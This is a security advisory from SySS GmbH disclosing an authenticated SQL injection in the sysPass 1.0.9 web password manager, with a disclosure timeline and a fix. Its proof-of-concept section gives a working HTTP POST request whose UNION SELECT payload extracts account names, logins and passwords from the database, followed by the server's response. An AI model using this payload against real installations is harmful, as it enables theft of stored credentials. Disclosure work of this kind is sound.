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[SYSS-2015-031] sysPass - SQL Injection



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Advisory ID: SYSS-2015-031
Product: sysPass
Vendor: http://cygnux.org/
Affected Version(s): 1.0.9 and below
Tested Version(s): 1.0.9
Vulnerability Type: SQL Injection (CWE-89)  
Risk Level: High
Solution Status: Fixed
Vendor Notification: 2014-07-27
Solution Date: 2014-08-04
Public Disclosure: 2015-07-13
CVE Reference: Not yet assigned
Author of Advisory: Daniele Salaris (SySS GmbH)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

sysPass is an web based Password Manager written in PHP and Ajax with a
built-in multiuser environment.

An SQL injection vulnerability could be identified in one of the requests
of this web password manager.

The software manufacturer describes the web application as follows
(see [1]):

"sysPass is a web password manager written in PHP that allows the
password management in a centralized way and in a multiuser environment.
The main features are:

* HTML5 and Ajax based interface
* Password encryption with AES-256 CBC.
* Users and groups management.
* Advanced profiles management with 16 access levels.
* MySQL, OpenLDAP and Active Directory authentication.
* Activity alerts by email.
* Accounts change history.
* Accounts files management.
* Inline image preview.
* Multilanguage.
* Links to external Wiki.
* Portable backup.
* Action tracking and event log.
* One-step install process."

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

The SQL injection vulnerability was found in an HTTP post request of the
AJAX component from the sysPass software.

The attribute getAccounts is not correctly sanitized and therefore can be
abused to inject arbitrary SQL statements.

This SQL injection vulnerability can be exploited by an authenticated
attacker by sending a specially crafted HTTP POST request (see PoC 
section).

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

The following HTTP request can be used to extract information from the
database:

POST /sysPass-1.0.9/ajax/ajax_search.php HTTP/1.1
Host: <HOST>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://<HOST>/sysPass-1.0.9/index.php
Content-Length: 249
Cookie: PHPSESSID=<SESSIONID>
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search=getAccounts') UNION ALL SELECT NULL,NULL,account_name,account_login,account_pass,account_url,NULL,NULL,NULL,NULL,NULL from accounts -- &start=0&skey=1&sorder=1&sk=081bad3198bdb3cd29133befc57d60287541663b&is_ajax=1&customer=0&category=0&rpp=10


The server answers as followed:

HTTP/1.1 200 OK
Date: Fri, 10 Jul 2015 14:06:04 GMT
Server: Apache/2.4.12 (Unix) PHP/5.6.10
X-Powered-By: PHP/5.6.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=<SESSIONID>; path=/; HttpOnly
Content-Length: 1147
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<div id="data-search-header" class="data-header"><ul class="round header-grey"><li class="header-txt"><a onClick="searchSort(5,0)" 
title="Sort by Customer" >Customer</a></li><li class="header-txt"><a onClick="searchSort(1,0)" title="Sort by Name">Name</a><img 
src="imgs/sort_desc.png" class="icon" /></li><li class="header-txt"><a onClick="searchSort(2,0)" title="Sort by Category">Category</a></li><li 
class="header-txt"><a onClick="searchSort(3,0)" title="Sort by Username">User</a></li><li class="header-txt"><a onClick="searchSort(4,0)" 
title="Sort by URL / IP">URL / IP</a></li></ul></div><div id="data-search" class="data-rows"><ul><li class="cell-txt txtCliente"></li><li 
class="cell-txt">TEST_USER</li><li class="cell-txt">TEST_NAME</li><li class="cell-txt"><DATA></li><li 
class="cell-txt">TEST_URL</li><li class="cell-img"><img src="imgs/btn_group.png" title="Groups:<br><br>*<br>" /></li><li 
class="cell-actions round"></li></ul></div><div id="pageNav" class="round shadow"><div id="pageNavLeft">1 @ 0.00478 s 
<span id="txtFilterOn" class="round">Filter ON</span></div><div id="pageNavRight">&nbsp; 1 / 1 &nbsp;</div></div>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

Update sysPass to the latest software version.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2014-07-27: Vulnerability discovered
2014-07-27: Vulnerability reported to vendor
2014-08-04: Vendor releases new fixed version of sysPass 
2015-07-13: Public release of security advisory

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Web site of sysPass - sysadmin password manager
    http://wiki.syspass.org/en/start
[2] SySS Security Advisory SYSS-2015-031
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2015-031.txt
[3] SySS Responsible Disclosure Policy
    https://www.syss.de/en/news/responsible-disclosure-policy/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Daniele Salaris of the SySS GmbH.

E-Mail: disclosure (at) syss.de
Key fingerprint = E135 4E23 6091 A85C 9E14 577A 28DF B3A7 0A98 A9D4

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is" 
and without warranty of any kind. Details of this security advisory may 
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web 
site.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en

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